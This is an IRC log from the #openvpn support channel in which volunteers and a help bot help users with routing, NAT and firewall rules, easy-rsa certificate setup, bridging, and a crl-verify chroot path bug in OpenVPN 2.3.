10:13 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
10:13 <@krzee> !winnat
10:13 <@vpnHelper> "winnat" is (#1) http://www.windowsnetworking.com/articles_tutorials/NAT_Windows_2003_Setup_Configuration.html for a guide on setting up NAT in windows or (#2) http://www.nanodocumet.com/?p=14 for windows XP or (#3) https://community.openvpn.net/openvpn/wiki/NatOverWindows2008 for 2k8
10:20 -!- kirin` [telex@gateway/shell/anapnea.net/x-ocqdpsmlnmdyzvuy] has quit [Ping timeout: 245 seconds]
10:21 -!- kirin` [telex@gateway/shell/anapnea.net/x-vysyjwwrkyqiiszw] has joined #openvpn
10:21 < crumb> ok, it's working now
10:22 < crumb> uhm
10:23 < crumb> when starting openvpn from services, which config file does it use?
10:23 < crumb> how does it know which one to use
10:26 < xTz> whichever you tell it to?
10:26 < crumb> yeah, but when you go into services and run it, it doesn't ask which config to open
10:28 < crumb> the only way it seems to work is when i specifically click on the ovpn file and select start openvpn with this config
10:28 < crumb> from the context menu
10:30 -!- Blal [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has joined #openvpn
10:30 < Blal> !welcom
10:30 < Blal> !welcome
10:30 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
10:30 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:31 < Blal> !goal ipv6
10:31 < Blal> ...hm okay
10:31 < Blal> Just wondering if there's any advice over connecte via IPv6 because all I cpould see on google was "it does support" ipv6
10:31 < crumb> well there's no other way of going around it if you're stuck on windoze
10:31 < crumb> Blal: so have you tried it?
10:32 < Blal> No, I was just coming to ask if there was any recommneded things to do before I do it, like any changed in the config and the link
10:32 < Blal> *like
10:33 < Blal> simplying changing it in the client conf doesn't work, but I can PuTTY in via the IPv6 address
10:35 < Blal> ah found a guide
10:37 < crumb> ok, where should the server.ovpn be placed when starting openvpn from services in windows
10:38 < Blal> A default installation of OpenVPN GUI does not give you any way to control the OpenVPN service. There is however two ways to do this. If you are running as administrator, and just want a convenient way to control the OpenVPN Service, you can enable a hidden menu for this. You enable this by setting the following registry value to "1":
10:38 < Blal> HKEY_LOCAL_MACHINE\SOFTWARE\OpenVPN-GUI\allow_service
10:39 < Blal> There might be a way to specify it on that menu
10:50 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
10:54 <+pekster> crumb: the service will launch all *.ovpn files in the config dir held in the registry
10:55 <+pekster> This is fairly similar to how most Unix-alike initscripts work, although smarter distros can control each instance independently
11:07 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
11:08 -!- raidz_away is now known as raidz
11:30 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
11:32 -!- wood_quinn__ [~quinn@71-32-161-55.desm.qwest.net] has quit [Quit: leaving]
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:59 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
12:01 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
12:18 -!- Immatix [~Immatix@unaffiliated/waraudon] has joined #openvpn
12:21 < Immatix> Interesing question; is it possible to give openvpn it's own log file instead of logging to syslog? Using rsyslog on Ubuntu
12:21 <+pekster> !logfile
12:21 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
12:32 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:33 < Immatix> pekster: I probably should have known that. I think I'll stick to using syslog and filter by process name though, since openvpn doesn't do log rotation on its own
12:45 -!- onyx2000 [~sh@178.90.11.225] has joined #openvpn
12:46 -!- sherefe [~sh@178.90.11.225] has quit [Ping timeout: 240 seconds]
12:46 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:57 -!- sherefe [~sh@178.90.11.225] has joined #openvpn
12:57 -!- onyx2000 [~sh@178.90.11.225] has quit [Read error: Connection reset by peer]
13:03 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has quit [Read error: Connection reset by peer]
13:04 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has joined #openvpn
13:07 < crumb> i don't get this, i've been using the same exact configurations!
13:07 < crumb> now the traffic isn't being routed
13:07 -!- sherefe [~sh@178.90.11.225] has quit [Ping timeout: 246 seconds]
13:08 -!- Immatix [~Immatix@unaffiliated/waraudon] has quit [Quit: WeeChat 0.3.7]
13:09 < crumb> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth1 -j MASQUERADE
13:12 -!- Dougy [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has joined #openvpn
13:12 < Dougy> ayo
13:12 <@krzee> !redirect
13:12 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:12 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:15 < crumb> yeah, i have push "redirect-gateway def1 " in server.conf
13:15 <@ecrist> crumb: openvpn doesn't just magically stop working.  you must have changed something
13:15 < crumb> net.ipv4.ip_forward = 1
13:15 < crumb> no i didn't, i just restarted the server
13:15 < crumb> rebooted
13:16 <+pekster> Thankfully there's a flowchart to walk you through exactly what the problem is
13:16 < crumb> i can ping the vpn
13:17 < crumb> how do i check if redirect gateway is enabled in the client
13:18 < crumb> Received control message: 'PUSH_REPLY,redirect-gateway def1 ,dhcp-option DNS 8.8.8.8,dhcp-option DNS 8.8.4.4,route 10.8.0.1,topology net30,ping 10,ping-restart 120,ifconfig 10.8.0.6 10.8.0.5'
13:18 < crumb> does that look about right
13:19 < crumb> can't ping 8.8.8.8
13:19 < crumb> net.ipv4.ip_forward = 1
13:20 < crumb> but the flowchart can't be leaving something out can it??
13:20 < crumb> that's not possible
13:22 -!- p3rror [~mezgani@41.249.133.234] has joined #openvpn
13:23 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-lkxctjmifbtmbzjn] has joined #openvpn
13:30 < crumb> anybody?
13:32 < crumb> lol for a second i thought ping was working
13:32 < crumb> but that was before "Initialization Sequence Completed" showed up on the screen :|
13:33 < crumb> ping 10.8.0.1 time=26.6 ms
13:33 <+pekster> Why have you skipped steps on the flowchart? It doesn't stop there
13:34 <+pekster> It's really not that hard to use a flowchart. Go verify your NAT is configured properly on your server, then check your firewalls quite carefully
13:34 <+pekster> !tcpdump
13:34 <@vpnHelper> "tcpdump" is (#1) tcpdump is a great troubleshooting tool (Wireshark or the tshark.exe CLI tools for Windows.) To start, try a syntax like `tcpdump -pni ifWhatever` or (#2) You can also add filters to the command, like 'icmp' or 'udp port 1194' and the like. Consult the tcpdump docs for details.
13:34 < crumb> net.ipv4.ip_forward = 1 implies ip forwarding is enabled YES
13:34 <+pekster> And the foowchart doesn't stop there, NO
13:35 < crumb> is NAT enabled on the VPN subnet
13:35 < crumb> isn't that just the iptable rule
13:35 < crumb> iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth1 -j MASQUERADE
13:35 <+pekster> Assuming that appears in the correct place in your ruleset and eth1 is your uplink, yes
13:36 < crumb> yeah, eth1 is the uplink
13:36 < crumb> uhm
13:36 < crumb> where should it appear
13:36 <+pekster> That depends greatly on your ruleset
13:36 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-lkxctjmifbtmbzjn] has quit [Ping timeout: 264 seconds]
13:37 <+pekster> This is more of a #netfilter question, but for starters if you're having firewall issues you need to generally post your ruleset if you need assistance
13:37 < crumb> http://pastebin.ca/2449673
13:38 <+pekster> You're dropping all forwarded traffic
13:38 <+pekster> line 18
13:38 <@krzee> Immatix, you can may configure newsyslog to rotate non syslog files, fyi
13:38 < crumb> how'd that get there! :|
13:39 <+pekster> I have some well-commented basic netfilter samples: https://github.com/QueuingKoala/netfilter-samples
13:39 <@vpnHelper> Title: QueuingKoala/netfilter-samples · GitHub (at github.com)
13:39 <+pekster> #netfilter also has some guides if you want additional info/inspiration
13:39 < crumb> hallelujah!
13:39 < crumb> thanks pekster
13:39 < crumb> you accept bitcoins?
13:40 <+pekster> Spend some time reading about netfilter and I'll be happy
13:41 < crumb> i just didn't know there were other rules loaded :/
13:41 < crumb> i didn't put em there
13:44 <+pekster> Something did. Unless a process explicitly does something with the kernel, the kernel will boot without any rules
13:45 < crumb> yeah, i just ran iptables-save and rebooted
13:45 < crumb> it still showed up
13:45 <+pekster> distro-isms aside, the only "proper" way to load rules is via iptables-save. Most distros provide some initscript or frontend to do this on boot or as part of the network startup process
13:45 <+pekster> Sorry, iptables-restore loads them (-save merely spits them to stdout)
13:46 <+pekster> Is this a Debian-flavor?
13:46 < crumb> centos
13:48 <+pekster> CentOS has a non-broken initscript that loads rules from /etc/sysconfig/iptables on boot, if the initscript is enabled
13:49 <+pekster> I don't care for the default rules, but that's fixed by maintaining them yourself
13:49 < kisom> crumb: You just gave me an awesome idea to play sysadmin online and getting paid in bitcoins
13:49 < kisom> Why didn't I think of that?!
13:49 < crumb> heh, people are already doing it, problem is finding people with bitcoins
13:49 <+pekster> Your distro channel or #netfilter is better equipped to handle more questions
13:50 <+pekster> (on those topics anyway)
13:50 < crumb> thanks again pekster
13:53 -!- xrosnight [~quassel@116.76.166.121] has quit [Read error: Connection reset by peer]
13:54 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
13:57 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
14:04 -!- Aelius [~link@unaffiliated/aelius] has joined #openvpn
14:04 < Aelius> !welcome
14:04 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:04 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:05 < Aelius> !howto
14:05 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:05 < Aelius> !route
14:05 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
14:05 <@vpnHelper> behind the server or client
14:06 < Aelius> !serverlan
14:06 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
14:06 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
14:10 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
14:10 -!- oO0Oo- [o_o@gateway/shell/elitebnc/x-hbbiuvizgwyinanq] has quit [Remote host closed the connection]
14:13 -!- RealRancor [~Rancor@prielwurmjaeger.de] has left #openvpn []
14:13 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
14:21 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-vgdscpwwxhxirvhk] has joined #openvpn
14:26 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
14:29 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Client Quit]
14:29 < Aelius> there are two "KEY_EMAIL" fields in vars
14:30 < Aelius> should there only be one?
14:30 <+pekster> Where exactly? https://github.com/OpenVPN/easy-rsa/blob/master/easy-rsa/2.0/vars
14:31 <@vpnHelper> Title: easy-rsa/easy-rsa/2.0/vars at master · OpenVPN/easy-rsa · GitHub (at github.com)
14:31 <+pekster> line 68 is the only one I see
14:31 <+pekster> If you set it again it'll simply override what you may have set earlier
14:33 -!- Haseo [~Haseo@aufrinfo.net] has quit [Read error: Connection reset by peer]
14:33 < Aelius> it's in the easy-rsa provided but aur for archlinux
14:33 < Aelius> So i suppose its just wrong
14:33 -!- Haseo [~Haseo@aufrinfo.net] has joined #openvpn
14:35 < Aelius> What is the key_ou field?
14:36 < Aelius> does that or pkcs11 module path actually attery
14:36 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
14:37 <+pekster> No, OU is Organizational Unit in the X509
14:37 -!- Devastator [~devas@186.214.14.230] has joined #openvpn
14:39 <+pekster> It all just gets stuffed into the cert's DN, but openvpn only uses the CN field unless you're doing something non-standard
14:42 <+pekster> openssl docs are here if you wish to do more reading: https://www.openssl.org/docs/apps/req.html#DISTINGUISHED_NAME_AND_ATTRIBUTE . Note that PKCS11 is different and used for smart-cards
14:42 <@vpnHelper> Title: OpenSSL: Documents, req(1) (at www.openssl.org)
14:42 < Aelius> ok. well ive already run into a dumb issue. i copied the contents of easy-rsa to /etc/openvpn, edited vars as described by howto (and you just now) ran 'sudo sh ./vars'
14:42 <+pekster> Don't do that
14:43 <+pekster> First off don't run easy-rsa as root
14:43 <+pekster> Second, by doing it through sh you haven't actually sourced it
14:43 <+pekster> Third, when the shell execution ends, you loose the environment you need to be sourced from 'vars' to use the rest of easy-rsa v2
14:43 < Aelius> the ./vars says permission denied
14:43 <+pekster> This is why you source it, and do it as not root
14:43 <+pekster> The howto does not have you run 'sh anything'
14:44 <@ecrist> source ./vars
14:44 < Aelius> ok, but thats not how the howto says to do it
14:44 <@ecrist> that is true
14:44 <+pekster> The howto might use the ". ./vars" which does the same thing
14:44 <+pekster> . and source are identical
14:44 < Aelius> oh
14:44 <@ecrist> . ./vars
14:44 < Aelius> ok
14:45 < Aelius> well clean all is getting a permission denied still for creating the subdir keys
14:45 <+pekster> So fix your filesystem permissions?
14:45 -!- Devastator [~devas@186.214.14.230] has quit [Changing host]
14:45 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
14:45 < Aelius> I wasnt aware a user was supposed to be able to access /etc though
14:45 < Aelius> write access
14:45 <+pekster> Ideally just copy the easy-rsa dir to one your user can read/write from. You can technically become root at your shell first, but it's unwise to run things as root you don't need
14:46 < Aelius> so should i do this in the home dir, then copy to etc?
14:46 <+pekster> That's what I do, though if you wanted you could give a standard user write perms to /etc/pki/name-of-your-pki or something too
14:47 <+pekster> Filesystem management is up to you
14:47 < Aelius> k
14:47 <+pekster> While you "can" run easy-rsa as root it's generally unwise to use root when not necessary
14:53 -!- xrosnight [~quassel@116.76.166.121] has quit [Read error: Connection reset by peer]
14:56 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
15:04 < Aelius> will the server.conf look in /etc/openvpn/keys by default, or do i have to type that in?
15:05 <+pekster> There is no default. You must tell it what file to use (see the !howto samples which include the directives with liberal comments, or see the manpage for --key, --cert, and --ca directives(
15:09 < Aelius> ok, and how does the server-bridge dhcp proxy work? when clients use the openvpn client will it just work? or should I stick with the other server-bridge 10.8.0.4 and so on
15:09 < Aelius> !howto samples
15:10 <+pekster> There is no "dhcp proxy"
15:10 < Aelius> # Configure server mode for ethernet bridging
15:10 < Aelius> # using a DHCP-proxy, where clients talk
15:10 < Aelius> # to the OpenVPN server-side DHCP server
15:10 < Aelius> # to receive their IP address allocation
15:10 < Aelius> # and DNS server addresses.
15:10 <+pekster> OpenVPN handles the DHCP itself if you let it; if you want to use the "LAN DHCP server" that gets very complex unless you're making arrangements not to give VPN clients a default gateway
15:11 <+pekster> The !howto has no such information
15:11 <+pekster> Nor do the official samples
15:11 < Aelius> thats in my server.conf example
15:12 <+pekster> Then you're using unofficial (and thus unsupported) examples/documentation: http://openvpn.net/index.php/open-source/documentation/howto.html#server
15:12 <@vpnHelper> Title: HOWTO (at openvpn.net)
15:13 < Aelius> well to put it simply- the line ";server-bridge 10.8.0.4 255.255.255.0 10.8.0.50 10.8.0.100" uncommented should just act as a dhcp server for clients?
15:13 <+pekster> Yes
15:13 < Aelius> ok thanks
15:14 <+pekster> We don't recommend bridging in the first place, but I'm hardly going to talk you out of it if you want it. !whybridge has info
15:15 < Aelius> !whybridge
15:15 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
15:16 < Aelius> yeah bridging is what I want (shares, lan gaming)
15:18 -!- Synthead [Synthfluid@nat/google/x-nnoksjgakntbswpm] has joined #openvpn
15:19 < Synthead> Is there a way to push proxy and dns settings to a OpenVPN client?
15:20 < Synthead> If I can put DNS and proxy stuff in the client's configuration, that's ok too
15:25 < Aelius> ERROR: Cannot ioctl TUNSETIFF tap: Operation not permitted (errno=1)
15:26 < Aelius> guess I need to create the tap
15:27 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:28 < Aelius> or am I supposed to run as root
15:28 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
15:32 < Synthead> Aelius: your user doesn't have permission to interact with that tap device
15:32 < Synthead> Aelius: root should do it if that's what you want (as it can do anything)
15:38 < Aelius> do I configure the server as a client as well, if i want it to be a part of the network?
15:42 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:53 -!- xrosnight [~quassel@116.76.166.121] has quit [Read error: Connection reset by peer]
15:54 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
16:01 < Aelius> well i got it all set up! thanks for the help. I do have one conceptual question
16:02 < Aelius> I have created a bridged connection, which means the communicate speed is limited  by the bandwidth of the server, correct?
16:03 < Aelius> and is it at all possible to not use the openvpn client on windows- instead registering the proper certs and using the windows 'add vpn' interface?
16:04 <+pekster> !notcompat
16:04 <@vpnHelper> "notcompat" is (#1) IPsec, PPTP, & L2TP are _not_ compatible with OpenVPN. OpenVPN uses SSL whereas PPTP and IPSEC use their own protocols and therefore cannot be compatible. or (#2) OpenVPN connects only to OpenVPN
16:05 <+pekster> OpenVPN is also not magic: no network protocol can operate faster than the link it runs over
16:05 <+EugeneKay> Tell that to encryption acceleration appliance vendors
16:05 <+pekster> (though inline compress can sometimes fake it)
16:05 < Aelius> understood- I just wasnt sure if there was some complex direct connection between two clients organized by the server
16:06 <+pekster> EugeneKay: I'm sure their IT department and devs laugh at the marketing as much as the rest of us ;)
16:06 <+EugeneKay> Maybe they actually believe it
16:06 <+EugeneKay> I mean, somebody has to
16:07 <+pekster> s/somebody/executive management/ :P
16:12 -!- muh-die-1uh [~hco@bronx.lab9.de] has joined #openvpn
16:13 -!- xrosnight_ [~quassel@116.76.166.121] has joined #openvpn
16:14 -!- muh-die-kuh [~hco@bronx.lab9.de] has quit [Ping timeout: 246 seconds]
16:15 -!- xrosnight [~quassel@116.76.166.121] has quit [Ping timeout: 246 seconds]
16:15 -!- _bt [foobar@unaffiliated/bt/x-192343] has quit [Ping timeout: 246 seconds]
16:16 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 246 seconds]
16:17 -!- rmk0 [~rmk0@unaffiliated/rothwell] has joined #openvpn
16:17 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
16:18 < rmk0> 'lo. we just upgraded to OpenVPN 2.3 (from 2.2.1) and now the server doesn't start: "Options error: --crl-verify fails with '/crl.pem': No such file or directory"
16:18 < rmk0> note that the path given is the root of the chroot directory
16:19 < rmk0> i don't see anything in the 2.3 list of changes that state that this option should take a non-chroot path now... have i missed something?
16:19 -!- _bt [~bt@77.240.12.157] has joined #openvpn
16:20 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Ping timeout: 246 seconds]
16:23 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Remote host closed the connection]
16:23 -!- al_nz1 [~Ali_nz1@203.96.199.22] has joined #openvpn
16:24 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
16:27 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
16:32 <+pekster> rmk0: Works the same in 2.2.1 as 2.3.x; the manpage for --chroot explains that the chroot call is delayed until after initialization
16:33 < rmk0> er... then why is 2.3.* rejecting that option? we've been using this setup with 2.2.1 for over a year...
16:33 <+pekster> The only way that would have worked before is if you had a /crl.pem file
16:33 < rmk0> it's only crl-verify and the client configuration directory that were specified post-chroot in the existing config we had
16:34 < rmk0> all of the other paths were pre-chroot
16:34 <+pekster> Or maybe you didn't have a fully qualified path before
16:34 <+pekster> I did confirm that 2.2.1 fails the same way locally for me when I do that
16:34 <+pekster> Works fine with full (non-chroot) paths
16:35 < rmk0> http://waste.io7m.com/2013/09/13/config.txt
16:35 < rmk0> that was the old config
16:35 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
16:35 < rmk0> i've switched crl-verify and client-config-dir to pre-chroot paths now
16:35 < rmk0> there's certainly no /crl.pem or /client-configs, but those two exist in /vpn/chroot
16:36 <+pekster> You must have previously had a /vpn/dh2048.pem then
16:36 < rmk0> yep
16:36 <+pekster> The error you cited had /crl.pem
16:36 < rmk0> yes... crl-verify
16:36 < rmk0> i never mentioned the dh parameter
16:36 <+pekster> Ah, okay, I mis-read that then :\
16:40 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
16:41 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
16:44 <+pekster> rmk0: Okay, yea, something broke there
16:45 < teotwaki_> Hi, I have a public-facing network on eth0, I'd like to get VPN clients onto vmnet0. I've bridged vmnet0 and tap0 with br0, which now holds the IP address vmnet0 used to have. Is this roughly the right direction or am I completely lost?
16:45 < rmk0> pekster: i think the new behaviour is more consistent at least
16:45 < rmk0> a warning would've been nice, though!
16:45 <+pekster> rmk0: I'll see if I can track down what/why to get a fix in place. In the meantime, a workaround without removing the chroot could be to have the same file accessilbe at the same path in/out of the VPN
16:46 <+pekster> rmk0: No, it's broken; you can't use a raw path becuase openvpn will exit fatally when the first client connects as it can't read the CRL then (after chroot)
16:46 < rmk0> oh dear
16:46 <+pekster> It's a bad check during options init
16:46 < rmk0> right
16:47 <+pekster> It might be consistent, but it needs to re-read that file since it could be changed without a restart (by design)
16:48 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 260 seconds]
16:49 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
16:51 <+pekster> rmk0: If you'd like you can feel free to get a bugreport started (that'll email you for updates.) Otherwise I'll file one in a bit to track the resolution
16:52  * rmk0 files
16:52 <+pekster> Thanks for the report. That needs to get fixed
16:55 <+pekster> rmk0: Another clever workaround for you is to start the openvpn config with a realtive --crl-verify path and have the CWD be the same path
16:56 <+pekster> (use of --cd works to set the CWD too)
16:56 < hjohnson> man, I'm still beating my head into a wall as to why this windows 7 laptop can't access the networks behind my OpenVPN install.  OSX and linux clients work just fine, windows 7 client authenticates properly and logs show no errors at all, but just can not connect to the other subnet.
16:58 < hjohnson> my gut tells me that the route isn't getting inserted properly, but I'm so clueless when it comes to windows 7 that I'd not know for sure
17:03 < rmk0> pekster: ticket 330
17:03 < rmk0> (took a while to sign up) :)
17:04 <+pekster> np, and if you didn't feel like it I had no issue creating the ticket, but IIRC it's non-trivial to edit the CC list (might even need a dev with tracker access) and as you're the reporter I figured you might like updates
17:05 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 260 seconds]
17:05 < rmk0> it's no problem, i'm constantly filing bugs with one tracker or another
17:05 < rmk0> now i have to go back to hitting dovecot with a hammer...
17:06 <+pekster> At least you have a couple work-arounds, though staying on 2.2.1 is always the 3rd option :P
17:06 < rmk0> hm, i'm actually not sure i understand the second workaround
17:06 < rmk0> the cwd
17:07  * rmk0 eyes the manual
17:07 <+pekster> Just add `--cd /vpn/chroot` to your config and use a relative path to your crl.pem
17:07 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
17:07 < rmk0> ah, right
17:07 <+pekster> That way the file access check in the current 2.3 code will pass, and it'll be the "same" path from the root of the chroot
17:07 < rmk0> yep, i see it
17:07 < rmk0> thanks
17:18 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 260 seconds]
17:19 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
17:28 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
17:40 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 260 seconds]
17:41 -!- rmk0 [~rmk0@unaffiliated/rothwell] has quit [Quit: leaving]
17:43 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
18:10 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 261 seconds]
18:11 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
18:14 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
18:27 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-vgdscpwwxhxirvhk] has quit [Excess Flood]
18:30 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-phzuarcbbxdbpxec] has joined #openvpn
18:44 -!- crumb [~crumb@znc8.d-shell.org] has left #openvpn []
18:55 -!- FunkyELF [~FunkyELF@99-36-189-64.lightspeed.chrlnc.sbcglobal.net] has joined #openvpn
18:56 < FunkyELF> pekster: hello... now that I'm connected to my openwrt router via openvpn I thought I'd join this channel ;-)
18:56 < FunkyELF> what does this mean?.... Fri Sep 13 23:55:08 2013 daemon.error openvpn(lan)[1239]: Eric/172.56.4.116:10899 MULTI: Learn: 40:00:40:11:4b:10 -> Eric/172.56.4.116:10899
18:56 < FunkyELF> I see that on my server
18:56 < FunkyELF> on my client I see this: P: write to RUN/TAP : Invalid argument (code=22)
18:56 <+pekster> It's just a binding of the IP associated to the MAC
18:57 -!- Blal [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has quit [Ping timeout: 246 seconds]
18:57 < FunkyELF> pekster: so its not an error?
18:57 <+pekster> The first bit, no (that's apparently what the syslog is reporting it as though)
18:58 < FunkyELF> okay.... the thing I'm seeing on the client though?  Invalid argument (code=22)
18:58 <+pekster> That is a bit odd. Can you ping the peer?
18:59 < FunkyELF> from the router.... no
18:59 < FunkyELF> my OpenVPN client on Android says I'm at 192.168.1.200
18:59 < FunkyELF> I can't ping that from openwrt
19:00 <+pekster> Try the other way around; the phone might have some firewall magic going
19:01 < FunkyELF> pekster: well... I disconnected and then re-connected.
19:01 <+pekster> (I'm not too familiar with what android does for firewalls, but it's not uncommon for clients to have a default firewall in general)
19:01 < FunkyELF> now I'm seeing this.....
19:01 < FunkyELF> Sat Sep 14 00:01:05 2013 daemon.error openvpn(lan)[1239]: Eric/172.56.4.116:10899 MULTI: Learn FAILED: 40:00:40:11:bf:82 -> Eric/172.56.4.116:10899
19:01 < FunkyELF> Sat Sep 14 00:01:05 2013 daemon.error openvpn(lan)[1239]: Eric/172.56.4.116:10899 MULTI ROUTE: route quota (256) exceeded for Eric/172.56.4.116:10899 (see --max-routes-per-client option)
19:03 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:03 <+pekster> You shouldn't ever get that unless a client is transporting more than 256 IPs per MAC (when in tap mode)
19:04 < FunkyELF> rebooting phone and openwrt
19:04 < FunkyELF> ... pretending I'm using Windows
19:08 <+pekster> Actually, looks like in TAP it'll only overflow that when you have >256 MACs being sent across. You still won't normally see that unless something else is wrong. I'd try to see why all those MACs are getting added, tied to that client in the first place
19:09 < FunkyELF> after reboot I'm not seeing those messages anymore
19:09 < FunkyELF> just these ones: Sat Sep 14 00:09:24 2013 daemon.error openvpn(lan)[1239]: Eric/172.56.4.116:19494 MULTI: Learn: 40:00:40:06:66:39 -> Eric/172.56.4.116:19494
19:10 < FunkyELF> but I'm still getting that (code=22) error on the client
19:10 < FunkyELF> https://community.openvpn.net/openvpn/ticket/128
19:11 <@vpnHelper> Title: #128 (Connection errors) – OpenVPN Community (at community.openvpn.net)
